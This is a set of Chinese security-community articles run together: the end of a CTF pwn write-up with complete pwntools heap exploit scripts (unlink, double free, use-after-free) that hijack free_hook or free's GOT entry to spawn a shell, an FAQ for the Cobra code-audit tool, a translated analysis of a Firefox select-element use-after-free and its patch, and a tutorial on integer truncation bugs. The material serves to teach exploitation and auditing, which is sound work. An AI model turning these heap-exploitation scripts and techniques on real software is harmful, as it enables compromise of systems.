payload+= p64(0x80)
payload+= p64(heap_addr+0xc0)
payload = payload.ljust(0x130,'x00')
payload+= p64(0)
payload+= p64(0x21)
payload+= p64(0)*2
payload+= p64(0)
payload+= p64(0x21)
upgrade(0,payload)
#gdb.attach(p)
index = (heap_addr + 0x30 - 0x602060)/0x10
delete(index)
#gdb.attach(p)
payload = p64(0)
add(0x90,payload) #index 4
payload = p64(0)*2
payload+= p64(0)
payload+= p64(0x91)
payload+= p64(0x6020a8-0x18)
payload+= p64(0x6020a8-0x10)
payload+= p64(0)*14
payload+= p64(0x90)
payload+= p64(0x90)
payload+= p64(0)*2
payload+= p64(0x80)
payload+= p64(heap_addr+0xc0)
payload+= p64(0)*12
payload+= p64(0)
payload+= p64(0x21)
payload+= p64(0)*2
payload+= p64(0)
payload+= p64(0x21)
upgrade(0,payload)
#gdb.attach(p)
index = (heap_addr + 0xd0 - 0x602060)/0x10
delete(index)
#gdb.attach(p)
#-------------------------------unlink success---------------------------------------------
free_hook = libcbase + (0x1728f7a8 - 0x16ec9000)
log.success('free_hook = ' + hex(free_hook))
payload = p64(0)*2
payload+= p64(0x80)
payload+= p64(free_hook)
upgrade(4,payload)
#gdb.attach(p)
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
upgrade(4,p64(one_gadget[1]+libcbase))
#gdb.attach(p)
delete(0)
p.interactive()
**0x35 double_free思路_exp如下：**
#coding:utf-8
from pwn import *
#from LibcSearcher import *
context(os='linux',arch='amd64')
#context.log_level = 'debug'
p = process('./daily')
def add(size,payload):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('daily:')
p.sendline(str(size))
p.recvuntil('dailyn')
p.send(payload)
def view():
p.recvuntil('choice:')
p.sendline('1')
def delete(index):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('daily:')
p.sendline(str(index))
def upgrade(index,payload):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('daily:')
p.sendline(str(index))
p.recvuntil('dailyn')
p.send(payload)
payload = 'x66'*0x200
add(len(payload),payload) #index 0
add(len(payload),payload) #index 1
add(len(payload),payload) #index 2
add(len(payload),payload) #index 3
delete(1) #delete 1
delete(2) #delete 2
payload = 'x12'*8
add(0x1a0,payload) #index 1
#------------------------------------------------利用large chunkl来leak libcbase和heapbase--------------------------------- view()
p.recvuntil('x12x12x12x12x12x12x12x12')
main_arena_addr = u64(p.recv(6).ljust(8,'x00')) - (0xf68-0xb20)
log.success('main_arena_addr = '+hex(main_arena_addr))
libcbase = main_arena_addr - (0x4be5b20-0x4821000)
log.success('libcbase = '+hex(libcbase))
payload = 'x12'*12+'x21'*4
upgrade(1,payload)
view()
p.recvuntil('x21x21x21x21')
heap_addr = u64(p.recv(4).ljust(8,'x00')) - 0x210
log.success('heap_addr = '+hex(heap_addr))
#gdb.attach(p)
#-----------------------------------------------leak success-------------------------------------- payload = 'a'*8
add(0x31,payload) #index 2
#------------------------------------------------prepare doublefree-------------------------------- payload = p64(0)+p64(0x31)
payload+= p64(0)*2
payload+= p64(0x20)+p64(heap_addr+0x20)
payload+= p64(0)+p64(0x31)
payload+= p64(0)*2
payload+= p64(0x20)+p64(heap_addr+0x50)
payload+= p64(0)+p64(0x31)
upgrade(0,payload)
index = (heap_addr + 0x30 - 0x602060)/0x10
delete(index)
index = (heap_addr + 0x60 - 0x602060)/0x10
delete(index)
payload = p64(0)+p64(0x31)
payload+= p64(0)*2
payload+= p64(0x20)+p64(heap_addr+0x20)
payload+= p64(0)+p64(0x31)
upgrade(0,payload)
index = (heap_addr + 0x30 - 0x602060)/0x10
delete(index)
#-----------------------------------------------double free success-------------------------------- payload = p64(0x602078)
add(0x20,payload) #index 3
free_hook = libcbase + (0x1728f7a8 - 0x16ec9000)
log.success('free_hook = ' + hex(free_hook))
payload = p64(free_hook)
add(0x20,payload) #index 4
add(0x20,payload) #index 5
add(0x20,payload) #index 6
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
upgrade(2,p64(one_gadget[1]+libcbase))
delete(4)
p.interactive()
**0x36 收货：**
可能需要对free()的检查机制了解的比较深入才能得心应手的快速解出这一题，我第一遍因为思路不清晰导致不知道改了一个什么东西总是报错，第二遍整理一下思路才Pwn掉，挺丢人的。。。。。题目出的稳中有活，难度也适合像我这种初学者，感觉出的不错。。。。>_<.
### 0x4 第二天_double:
**0x41 程序功能分析：**
首先看一下程序的基本信息：64位，relro为paril，没开PIE，看题目的名字猜是double
free….(但实际上最后我没用上double,只用了uaf来构造fake_chunk….orz)
放进ida看一下：程序是按照链表的形式表现的，之前做过一个类似的链表的题目。。。感觉比这个难一点。。首先head_ptr和prev_ptr都清零。。(这里变量我已经rename了，所以看着好理解一点，开始自己看的时候还是需要看一会)
之后程序有4个功能，new()，show()，edit()，delete()：
分析程序功能以后，new()大概功能就是在堆上申请一个chunk_header(总大小为0x20，之中储存了content的size和chunk的index，，以及自己的content的地址和上一个chunk的chunk_header的地址。)，然后先将我们的输入储存在一个缓冲区，然后比较其内容和上一个chunk的content是否一样，如果一样话，就不再用malloc()申请新的chunk，而是将其的content地址直接指向上一个chunk的content地址，若不一样的话就再malloc()一块和我们输入大小一样的chunk。
show()的功能为输入下标然后遍历chunk链表找到下标符合的chunk然后以字符串的形式打印其content内容（x00截断）
edit()的功能为输入下标然后遍历chunk链表找到下表合适的chunk然后比较我们输入的centent大小和之前的大小，若比其小则直接在原content处覆盖，若比其大则再malloc()一块chunk。
delete()的功能为输入下标然后遍历chunk链表知道下标合适的chunk然后
**先释放其content指针，再释放其chunk_header指针。**
需要注意的是这个程序是一旦delete()一个下标之后，这个下标将不再存在，下一次再申请是继续往后延伸的下标，不会找已经已经free()的小的下标。细节不要搞错了。。。
**0x42 漏洞寻找：**
先找了一会，没有发现溢出漏洞。。。然后开始考虑 uaf 和 double
free，利用glibc的机制来leak和构造fake，然后发现如果申请两个内容相同的chunk时，然后delete()其中一个，但另外一个仍然可以对已经放进bins的原先装content的那个chunk进行读写操作。。。思路开始变得清晰。。。
**0x43 漏洞利用：**
首先我们申请一个大小范围在fastbin之外（总大小大于0x80）的chunk，然后进行uaf的读操作泄露出libc，之后再申请小的chunk，这些小的chunk和他们的chunk_header都会被分配在uaf的区域（因为其原先在unsortedbin中），然后我们可以通过uaf的写入功能更改新chunk_header的content指针为free_got的地址，并且先在堆中写入’/bin/shx00’，然后通过新chunk的upgrade功能将free_addr改为system_addr，然后再申请一个新的小chunk，其header应该还是在uaf区域，然后通过uaf的写入修改其content指针为‘/bin/shx00’字符串的地址（我们之前已经写在了堆上，所以我们需要泄露heap的地址！！方法类似，在最开始的时候申请一个大小在fastbin范围内的chunk然后进行uaf，利用uaf的读功能泄露heap地址。），最后delete()最后申请的那个chunk即可，在free(content指针)时就等于调用了system(‘/bin/shx00’)。
**0x44 exp如下：**
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64')
#context.log_level = 'debug'
p = process('./pwn')
P = ELF('./pwn')
def new(payload):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('data:n')
p.sendline(payload)
def edit(index,payload):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('index: ')
p.sendline(str(index))
p.sendline(payload)
def delete(index):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('index: ')
p.sendline(str(index))
def list_(index):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('index: ')
p.sendline(str(index))
new('x11'*0xf) #index 0
new('x11'*0xf) #index 1 0和1共用content chunk
new('x22'*0x7f) #index 2
new('x22'*0x7f) #index 3 2和3共用content chunk
new('x44'*0xf) #index 4 防topchunk合并
#gdb.attach(p)
delete(3)
#-------------------------------------leak libcbase and system_addr and heap----------------------- list_(2)
main_arena_addr = u64(p.recv(6).ljust(8,'x00')) - 88
log.success('main_arena = '+hex(main_arena_addr))
libcbase = main_arena_addr - (0xdd8b20-0xa14000)
log.success('libcbase = '+hex(libcbase))
system_addr = libcbase + (0xbab390 - 0xb66000)
log.success('system_addr = '+hex(system_addr))
#gdb.attach(p)
delete(1)
list_(0)
heap_addr = u64(p.recv(4).ljust(8,'x00')) - 0x110
log.success('heap_addr = '+hex(heap_addr))
#--------------------------------------leak success------------------------------------------------ new('x55'*0xf) #index 5
new('x66'*0xf) # 6
new('x77'*0xf) # 7
new('x88'*0xf) # 8
payload = '/bin/shx00'
payload+= 'x55'*0x10
payload+= p64(0x21)
payload+= 'x07'+'x00'*3+'x0f'+'x00'*3
payload+= p64(P.got['free'])
payload+= p64(heap_addr+0xf0)
payload+= p64(0x21)
payload+= 'x22'*0x18
payload+= p64(0x31)
payload+= 'x08'+'x00'*3+'x0f'+'x00'*3
payload+= p64(heap_addr+0x90) #“/bin/shx00”的地址。
edit(2,payload)
payload = p64(system_addr)
edit(7,payload)
delete(8)
p.interactive()
**0x45 收货：**
感觉挺有趣的，链表形式的题目还是很有趣，觉得无论是doublefree还是什么，对glibc的机制了如指掌才是真正的王道。。。对每一块chunk的来源和去向和他们什么时候该有什么内容都在心中清楚才能最快的找到思路并且在调试上节约时间。。。这一题最后是100p多一点，比daily还高，可能考的堆机制的理解更深一点吧。。。。
## 结语:
虽然报名出现了操蛋的问题，但还是很开心能做出来四道基础题，对于学了一年不到的我来说已经是一件很开心的事情了orz。。。接下来就该静下心准备tsctf了。。天枢等我！！！ | 社区文章 |
## 什么是"源代码安全审计（白盒扫描）"？
> 由于开发人员的技术水平和安全意识各不相同，导致可能开发出一些存在安全漏洞的代码。
> 攻击者可以通过渗透测试来找到这些漏洞，从而导致应用被攻击、服务器被入侵、数据被下载、业务受到影响等等问题。
> "源代码安全审计"是指通过审计发现源代码中的安全隐患和漏洞，而Cobra可将这个流程自动化。
## Cobra为什么能从源代码中扫描到漏洞？
> 对于一些特征较为明显的可以使用正则规则来直接进行匹配出，比如硬编码密码、错误的配置等。
> 对于OWASP Top 10的漏洞，Cobra通过预先梳理能造成危害的函数，并定位代码中所有出现该危害函数的地方，继而基于Lex(Lexical
> Analyzer Generator, 词法分析生成器)和Yacc(Yet Another Compiler-Compiler,
> 编译器代码生成器)将对应源代码解析为AST(Abstract Syntax Tree,
> 抽象语法树)，分析危害函数的入参是否可控来判断是否存在漏洞（目前仅接入了PHP-AST，其它语言AST接入中）。
## Cobra和其它源代码审计系统有什么区别或优势？
> Cobra定位是自动化发现源代码中 **大部分显著的安全问题** ，对于一些隐藏较深或特有的问题建议人工审计。
* 开发源代码（基于开放的MIT License，可更改源码）
* 支持开发语言多（支持十多种开发语言和文件类型）
* 支持漏洞类型多（支持数十种漏洞类型）
* 支持各种场景集成（提供API也可以命令行使用）
* 专业支持，持续维护（由白帽子、开发工程师和安全工程师一起持续维护更新，并在多家企业内部使用）
## Cobra支持哪些开发语言？
>
> 目前Cobra主要支持PHP、Java等主要开发语言及其它数十种文件类型，并持续更新规则和引擎以支持更多开发语言，具体见支持的[开发语言和文件类型](https://wufeifei.github.io/cobra/languages)。
## Cobra能发现哪些漏洞？
>
> 覆盖大部分Web端常见漏洞和一些移动端（Android、iOS）通用漏洞，具体见支持的[漏洞类型](https://wufeifei.github.io/cobra/labels)。
<table> ID Label Description(EN) Description(CN) 110 MS Misconfiguration 错误的配置
120 SSRF Server-Side Forge 服务端伪造 130 HCP Hard-coded Password 硬编码密码 140 XSS
Cross-Site Script 跨站脚本 150 CSRF Cross-Site Request Forge 跨站请求伪造 160 SQLI SQL
Injection SQL注入 163 XI Xpath Injection Xpath注入 165 LI LDAP Injection LDAP注入
167 XEI XML External Entity Injection XML实体注入 170 FI Local/Remote File
Inclusion 文件包含漏洞 180 CI Code Injection 代码注入 181 CI Command Injection 命令注入 190
IE Information Exposure 信息泄露 200 PPG Predictable Pseudorandom Generator
可预测的伪随机数生成器 210 UR Unvalidated Redirect 未经验证的任意链接跳转 220 HRS HTTP Response
Splitting HTTP响应拆分 230 SF Session Fixation SESSION固定 260 US unSerialize 反序列化漏洞
280 DF Deprecated Function 废弃的函数 290 LB Logic Bug 逻辑错误 320 VO Variables
Override 变量覆盖漏洞 350 WF Weak Function 不安全的函数 355 WE Weak Encryption 不安全的加密 970
AV Android Vulnerabilities Android漏洞 980 IV iOS Vulnerabilities iOS漏洞 999 IC
Insecure Components 引用了存在漏洞的三方组件(Maven/Pods/PIP/NPM) </table>
## Cobra能应用在哪些场景？
1. 【漏洞出现前】通过内置的扫描规则对公司项目进行日常扫描，并推进解决发现的漏洞。
2. 【漏洞出现后】当出现一种新漏洞，可以立刻编写一条Cobra扫描规则对公司全部项目进行扫描来判断受影响的项目。
## Cobra是什么类型应用？
> Cobra提供Web服务的同时也提供了命令行服务。
1. 【CLI】通过命令行扫描本地源代码，发现其中安全问题。
2. 【API&GUI】以Web Server形式部署在服务器上，供内部人员通过GUI的形式访问使用，并可以通过API集成到CI或发布系统中。
## 如何参与Cobra开发？
>
> Cobra发展离不开开源社区的贡献，Cobra欢迎有Python开发经验且对代码审计感兴趣的人加入到我们的开源社区开发团队（QQ群：578732936）共同参与贡献。
## 互联网相关企业如何接入Cobra？
> Cobra欢迎任何互联网相关企业免费接入使用，并提供技术支持，可以联系我们（QQ：3504599069，加之前请备注企业名称）。
# Cobra文档
* 安装
\- [Cobra安装](https://wufeifei.github.io/cobra/installation)
* 基础使用
\- [CLI模式使用方法](https://wufeifei.github.io/cobra/cli)
\- [API模式使用方法](https://wufeifei.github.io/cobra/api)
* 进阶使用
\- [高级功能配置](https://wufeifei.github.io/cobra/config)
\- [升级框架和规则源](https://wufeifei.github.io/cobra/upgrade)
* 规则开发规范
\- [规则模板](https://wufeifei.github.io/cobra/rule_template)
\- [规则样例](https://wufeifei.github.io/cobra/rule_demo)
\- [规则文件命名规范](https://wufeifei.github.io/cobra/rule_name)
\- [规则开发流程](https://wufeifei.github.io/cobra/rule_flow)
* 框架引擎
\- [开发语言和文件类型定义](https://wufeifei.github.io/cobra/languages)
\- [漏洞类型定义](https://wufeifei.github.io/cobra/labels)
\- [危害等级定义](https://wufeifei.github.io/cobra/level)
\- [程序目录结构](https://wufeifei.github.io/cobra/tree)
* 贡献代码
\- [单元测试](https://wufeifei.github.io/cobra/test)
\- [贡献者](https://wufeifei.github.io/cobra/contributors)
[
[
[
Cobra项目：<https://github.com/wufeifei/cobra> | 社区文章 |
# Firefox UAF漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 zerodayinitiative，文章来源：zerodayinitiative.com
原文地址：[www.zerodayinitiative.com/blog/2019/7/1/the-left-branch-less-travelled-a-story-of-a-mozilla-firefox-use-after-free-vulnerability](www.zerodayinitiative.com/blog/2019/7/1/the-left-branch-less-travelled-a-story-of-a-mozilla-firefox-use-after-free-vulnerability)
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
2018年12月，Mozila通过[mfsa2018-29](https://www.mozilla.org/en-US/security/advisories/mfsa2018-29/#CVE-2018-18492)发布了Firefox
64，修复了多个安全问题，其中就包含CVE-2018-18492，这是一个与`select`元素有关的UAF（use-after-free，释放后重用）漏洞，最早由Nils发现并报告。[之前](https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware)我们已经讨论过UAF问题，也看到厂商采取了多种[保护措施](https://www.blackhat.com/docs/us-15/materials/us-15-Gorenc-Abusing-Silent-Mitigations-Understanding-Weaknesses-Within-Internet-Explorers-Isolated-Heap-And-MemoryProtection-wp.pdf)想消除这些问题。但直到目前为止，我们还是经常能在web浏览器中发现与UAF相关的漏洞，因此理解这些问题对查找及修复漏洞来说至关重要。在本文中，我们将与大家分享这个UAF漏洞以及相关补丁的具体细节。
## 0x01 触发漏洞
我们可以使用如下PoC触发该漏洞：
图1. PoC
在存在漏洞Firefox版本中运行该PoC，我们可以看到crash时的栈跟踪状态如下：
图2. 崩溃时的栈跟踪状态
从图中可知，当解析填充`0xe5e5e5e5`的某个内存地址时，会出现read access
violation（读取访问冲突）。`0xe5e5e5e5`是`jemalloc`用来“污染”已释放内存的一个值。这里的“污染”指的是以一种可识别模式来填充已被释放的内存，这样便于分析。正常情况下，我们选择的填充模式不要对应于可访问的地址，这样任何尝试从已填充内存中解析值的操作（比如UAF）都会导致crash。
## 0x02 漏洞分析
PoC包含6行代码，让我们来逐行分析：
* 创建一个`div`元素
* 创建一个`option`元素
* 将`option`元素附加到`div`元素，现在这个`div`元素是`option`元素的父节点
* 将`DOMNodeRemoved`事件监听器添加到`div`元素中。这意味着如果`option`节点被移除，就会调用我们在这里添加的函数
* 创建一个`select`元素
这里再深入分析一下：
当使用JavaScript创建`select`元素时，`xul.dll!NS_NewHTMLSelectElement`函数就会获得控制权，该函数会为这个`select`元素分配大小为`0x188`字节的一个对象：
图3. `xul.dll!NS_NewHTMLSelectElement`函数
如上所示，在代码底部会跳转至`mozilla::dom::HTMLSelectElement::HTMLSelectElement`函数。
图4. `mozilla::dom::HTMLSelectElement::HTMLSelectElement`函数
在该函数中会初始化新分配对象的各种字段。需要注意的是，这里也会分配大小为`0x38`字节的另一个对象，将其初始化为`HTMLOptionsCollection`对象。因此，每个`Select`元素默认情况下都会对应一个options
collection（选项集合）。让我们看一下PoC的最后一行。
* 将第二行创建的`option`元素移动到`select`元素的options collection中
在JavaScript中执行该操作将导致`mozilla::dom::HTMLOptionsCollection::IndexedSetter`函数被调用（大家可以在图2的栈跟踪状态中看到该函数被调用）。
图5. IDA中观察到的程序逻辑
这里浏览器会执行一些检查操作。比如，如果选项索引值大于当前options
collection的长度值，那么就会调用`mozilla::dom::HTMLSelectElement::SetLength`函数来扩充options
collection容量。在PoC中，这个长度值为为`0`（参考图1第6行的`[0]`）。然后浏览器会进入图5的红色方框处的检测逻辑。如果待设置的索引值不等于options
collection的选项数，那么就会进入右分支。在PoC中，我们使用的索引值为`0`，而选项数也为0，因此会执行左分支。因此浏览器会调用`nsINode::ReplaceOrInsertBefore`函数，如下红框所示：
图6. 调用`nsINode::ReplaceOrInsertBefore`函数
在`nsINode::ReplaceOrInsertBefore`函数中，浏览器会调用`nsContentUtils::MaybeFireNodeRemoved`函数，通知父节点关于子节点移除的相关事件（如果父节点在监听这类事件）。
图7. 调用`nsContentUtils::MaybeFireNodeRemoved`函数
由于我们在PoC第4行（参考图1）中，在`div`元素上设置了`DOMNodeRemoved`事件监听器，因此这里浏览器就会触发我们设置的函数。在这个函数中，第一个`sel`变量会被设置为`0`，该操作会移除对`select`元素的最后一个引用。接下来，函数会创建一个巨大的数组缓冲区，这会给内存带来较大负担，触发垃圾回收机制（garbage
collector）。此时会释放`select`元素对象，因为已经没有关于该对象的任何引用。现在被释放的内存已被`0xe5e5e5e5`填充。最后，函数会调用`alert`来[flush挂起的异步任务](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop#Never_blocking)。从`nsContentUtils::MaybeFireNodeRemoved`函数返回后，被释放的`select`对象会被用来读取指针，触发read
access violation：
图8. 触发Read Access Violation
这里需要注意的是，如果浏览器执行的是右分支，那么还是会调用同一个函数（`nsINode::ReplaceOrInsertBefore`），但在调用该函数之前，会使用`AddRef`函数来增加`select`对象的引用计数。如果是这样操作，就不会出现UAF问题：
图9. 通过`AddRef`函数避免出现UAF问题
## 0x03 补丁分析
Mozilla通过[d4f3e119ae841008c1be59e72ee0a058e3803cf3](https://hg.mozilla.org/mozilla-central/rev/d4f3e119ae841008c1be59e72ee0a058e3803cf3)改动修复了这个漏洞。这里最主要的改动是修改options
collection中对`select`元素的弱引用逻辑，替换成强引用：
图10. 补丁细节
## 0x04 总结
虽然UAF是大家都比较熟悉的一个问题，但在许多浏览器中依然存在。在几个月之前，有攻击者成功利用了Google
Chrome浏览器中的[UAF漏洞](https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html)。UAF漏洞也不局限于浏览器，Linux内核之前也推出过一个[补丁](https://bit-tech.net/news/tech/software/linux-hit-by-use-after-free-vulnerability/1/)，用来修复由UAF导致的拒绝服务问题。澄清UAF触发原理是检测这类漏洞的关键所在。与缓冲区溢出问题一样，我们认为软件中无法完全避免UAF。然而，通过正确的编程以及安全的开发实践，在未来我们可以进一步消除、或者缓解UAF所带来的影响。
大家可以关注@hosselot以及我们的官方[推特](https://twitter.com/thezdi)了解最新的漏洞利用技术及安全补丁情况。 | 社区文章 |
# PWN——那些年坑过我们的数据类型
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 引言
老铁们我来填坑啦！
本人安全客上一篇内核pwn的坑还记得吧？就是关于无符号整型使用不当的漏洞利用，最后传进去的长度值为啥是0xffffffffffff0000|0x100，不着急，我们从基础开始介绍，这篇文章的要点包括：
* 陌生的数据类型：文档+汇编
* 整数溢出漏洞
* 无符号整型使用不当漏洞
数据类型是个很基础又很细节的东西，越是这种细节的东西反而越容易坑人，它不像堆栈溢出那样的漏洞容易发现，pwn中数据类型的问题往往稍不注意就会错过利用点或者使exp莫名跑崩，不知道有多少人被它坑过；如果入门pwn的时候没有打好数据类型的基础，往后掌握了更高级的攻击面后很容易被坑，因此笔者写了这篇从计算层面出发、面向基础的数据类型相关漏洞的讲解，难度并不大，希望能帮入门者打好基础！
## 一、陌生的数据类型：文档+汇编
我们在做pwn的时候，最直观判断数据类型的途径就是看IDA反编译出的C伪代码，然而，由于IDA的判定逻辑有时候并不能彻底如人意，有时候某些变量就会被判断成我们在编程层面很少用到的数据类型，这种判断并没有错误，然而却给逆向工程人员带来了不便。
比如：unsigned __int64、unsigned
__int8，这些不常见的数据类型如果不加注意，我们就根本无法进行有效的漏洞挖掘和利用，当我们在伪代码界面看到不熟悉的数据类型，应对的方法就是查文档加看汇编
笔者在网上找到一份微软的文档：
<https://docs.microsoft.com/zh-cn/previous-versions/s3f49ktz(v=vs.120)>
> Visual C++ 32 位和 64 位编译器可识别本文后面的表中的类型。
>
> * int (unsigned int)
> * __int8 (unsigned __int8)
> * __int16 (unsigned __int16)
> * __int32 (unsigned __int32)
> * __int64 (unsigned __int64)
> * short (unsigned short)
> * long (unsigned long)
> * long long (unsigned long long)
>
>
> 如果其名称以两个下划线 (__) 开始，则数据类型是非标准的。
>
> 下表中指定的范围均包含起始值和结束值。
>
> 类型名称 | 字节 | 其他名称 | 值的范围
> ---|---|---|---
> int | 4 | signed | –2,147,483,648 到 2,147,483,647
> unsigned int | 4 | unsigned | 0 到 4,294,967,295
> __int8 | 1 | char | –128 到 127
> unsigned __int8 | 1 | unsigned char | 0 到 255
> __int16 | 2 | short、short int、signed short int | –32,768 到 32,767
> unsigned __int16 | 2 | unsigned short、unsigned short int | 0 到 65,535
> __int32 | 4 | signed、signed int、int | –2,147,483,648 到 2,147,483,647
> unsigned __int32 | 4 | unsigned、unsigned int | 0 到 4,294,967,295
> __int64 | 8 | long long、signed long long | –9,223,372,036,854,775,808 到
> 9,223,372,036,854,775,807
> unsigned __int64 | 8 | unsigned long long | 0 到 18,446,744,073,709,551,615
> bool | 1 | 无 | false 或 true
> char | 1 | 无 | -128 到 127（默认）
>
> 0 到 255（当使用 [/J](https://docs.microsoft.com/zh-cn/previous-> versions/0d294k5z%28v%3dvs.120%29) 编译时）
>
> signed char | 1 | 无 | –128 到 127
> unsigned char | 1 | 无 | 0 到 255
> short | 2 | short int、signed short int | –32,768 到 32,767
> unsigned short | 2 | unsigned short int | 0 到 65,535
> long | 4 | long int、signed long int | –2,147,483,648 到 2,147,483,647
> unsigned long | 4 | unsigned long int | 0 到 4,294,967,295
> long long | 8 | 无（与 __int64 等效） | –9,223,372,036,854,775,808 到
> 9,223,372,036,854,775,807
> unsigned long long | 8 | 无（与无符号的 __int64 等效） | 0 到
> 18,446,744,073,709,551,615
> enum | varies | 无 | 请参阅本文后面的备注。
> float | 4 | 无 | 3.4E +/- 38（7 位数）
> double | 8 | 无 | 1.7E +/- 308（15 位数）
> long double | 与 double 相同 | 无 | 与 double 相同
> wchar_t | 2 | __wchar_t | 0 到 65,535
>
> 根据使用方式，__wchar_t 的变量指定宽字符类型或多字节字符类型。 在字符或字符串常量前使用 L 前缀以指定宽字符类型常量。
>
> signed 和 unsigned 是可用于任何整型（bool 除外）的修饰符。 请注意，对于重载和模板等机制而言，char、signed char 和
> unsigned char 是三种不同的类型。
>
> int 和 unsigned int 类型具有四个字节的大小。 但是，由于语言标准允许可移植代码特定于实现，因此该代码不应依赖于 int 的大小。
>
> Visual Studio 中的 C/C++ 还支持按大小分类的整型。
> 有关更多信息，请参见[__int8、__int16、__int32、__int64](https://docs.microsoft.com/zh-> cn/previous-> versions/29dh1w7z%28v%3dvs.120%29)和[整数限制](https://docs.microsoft.com/zh-> cn/previous-versions/296az74e%28v%3dvs.120%29)。
>
> 有关每个类型的大小限制的详细信息，请参阅[基本类型 (C++)](https://docs.microsoft.com/zh-cn/previous-> versions/cc953fe1%28v%3dvs.120%29)。
>
> 枚举类型的范围因语言上下文和指定的编译器标志而异。 有关更多信息，请参见[C 枚举声明](https://docs.microsoft.com/zh-> cn/previous-versions/whbyts4t%28v%3dvs.120%29)和[C++
> 枚举声明](https://docs.microsoft.com/zh-cn/previous-> versions/2dzy4k6e%28v%3dvs.120%29)。
>
> ## 请参见
>
> #### 参考
>
> [C++ 关键字](https://docs.microsoft.com/zh-cn/previous-> versions/2e6a4at9%28v%3dvs.120%29)
>
> [基本类型 (C++)](https://docs.microsoft.com/zh-cn/previous-> versions/cc953fe1%28v%3dvs.120%29)
反正就是充分利用搜索引擎，下面我们举例讲一下怎么通过汇编来判断：
先拿上一篇文章中内核pwn的core那个无符号整型漏洞为例
signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
signed __int64 result; // rax
__int64 v2; // [rsp+0h] [rbp-50h]
unsigned __int64 v3; // [rsp+40h] [rbp-10h]
v3 = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(&v2, &name, (unsigned __int16)a1); // a1设置为负数即可绕过overflow检查
}
return result;
}
注意到qmemcpy那里：a1被作为unsigned
__int16类型，查文档易知16代表位数，即占两字节无符号，范围自然是0~ffff即0~65535，现在我们去看汇编：
.text:0000000000000120 movzx ecx, bx
.text:0000000000000123 mov rsi, offset name
.text:000000000000012A mov rdi, rsp
.text:000000000000012D xor eax, eax
.text:000000000000012F rep movsb
长度值是通过rdi传过来的，这段汇编前面还有一个mov rbx, rdi
> rax eax ax al ah:
>
> 分别是：64位、低32位、低16位、ax的低8位、ax的高8位
>
> 其他寄存器同理
movzx是小寄存器拷贝到大寄存器，自动用0补齐目标寄存器未用到的高位字节，0x120处的bx是16位的，ecx就是rep
movsb的长度参数、rsi和rdi是rep movsb的源、目标地址
> rep movsb
>
> rep是repeat，重复后面动作的意思，重复次数可知就是ecx
>
> movsb应该是move string byte的缩写，一次拷贝一个字节
>
> 连在一起的意思都懂
>
> 注意这不是个函数调用而是个指令，所以没有call
> qmemcpy，不知道是不是编译器优化的缘故还是ida的缘故，因此长度参数用的是寄存器ecx，而没有按照函数调用规则中的寄存器传参顺序使用edx，这就可以理解了
可见，最终，传入的长度参数由rdi“堕落”成了bx，整整由64位八字节的庞然大物堕落成了16位俩字节的小东西，而之前判断长度是否过大（>63）时用的是64位的值（读者自行审汇编）
这样一来漏洞的情况就清晰了：虽然判断大小合法性时用的是完整的64位的数据，然而最终拷贝多少字节是由其低16位（低二字节）决定的
那么我们首先可以先确定我们想拷贝多少个字节来溢出，比如0x100个吧，由此我们确定低16位就是(01
00)h，接下来我们只需要弄好剩下48位（6字节）让整个64位的值是个负数就ok了！
> 32位下int范围：
>
> * 正数：00 00 00 00 ~ 7f ff ff ff
> * 负数：80 00 00 00 ~ ff ff ff ff (ff ff ff ff是-1)
>
>
> 64位下int范围：
>
> * 正数：00 00 00 00 00 00 00 00 ~ 7f ff ff ff ff ff ff ff
> * 负数：80 00 00 00 00 00 00 00 ~ ff ff ff ff ff ff ff ff (ff ff ff ff ff ff
> ff ff是-1)
>
由此可知，我们可以将ff ff ff ff ff ff 01 00作为最终的取值，当然这里的选择性很多啦~
## 二、无符号整型使用不当漏洞
这种漏洞的原理我们上面已经说过了，在此就只提一下64位下的构造的思路：
1. 确定缓冲区写入操作的长度参数所使用的数据类型的位数：n byte
2. 确定需要绕过的长度检查的逻辑处所用的数据类型的位数：N byte
3. 构造总长度为N byte，低n byte置为0其余各字节全置为ff，记作r
4. R = r|<实现溢出攻击所需的长度>，R即为最初输入的长度值
## 三、整数溢出漏洞
整数溢出定义不好给，直接上例子吧，来道pwn题：
char *__cdecl check_passwd(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u ) // 4~8
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s);
}
return result;
}
传入一个字符串s，这个s已知在外层调用函数中是可设为任意长度的，但是这里进行了长度检查必须在4~8之间，然而编码者天真的以为既然是4~8那么一个字节大小的数据类型就足够使用了，因此我们看到v3的类型声明为了unsigned
__int8，只有8位一字节，范围0~255
然而strlen函数的返回值类型是64位8字节的，因此在强制转换成更短的一字节的v3时，会直接丢失掉高的7个字节！我们下面上汇编代码来具体看一下：
.text:080486A4 push ebp
.text:080486A5 mov ebp, esp
.text:080486A7 sub esp, 18h
.text:080486AA sub esp, 0Ch
.text:080486AD push [ebp+s]
.text:080486B0 call _strlen
.text:080486B5 add esp, 10h
.text:080486B8 mov [ebp+var_9], al
.text:080486BB cmp [ebp+var_9], 3
可以看到，strlen的返回值rax寄存器在倒数第二行mov的时候，只将低八位的al部分mov给了用于和3比较的变量！
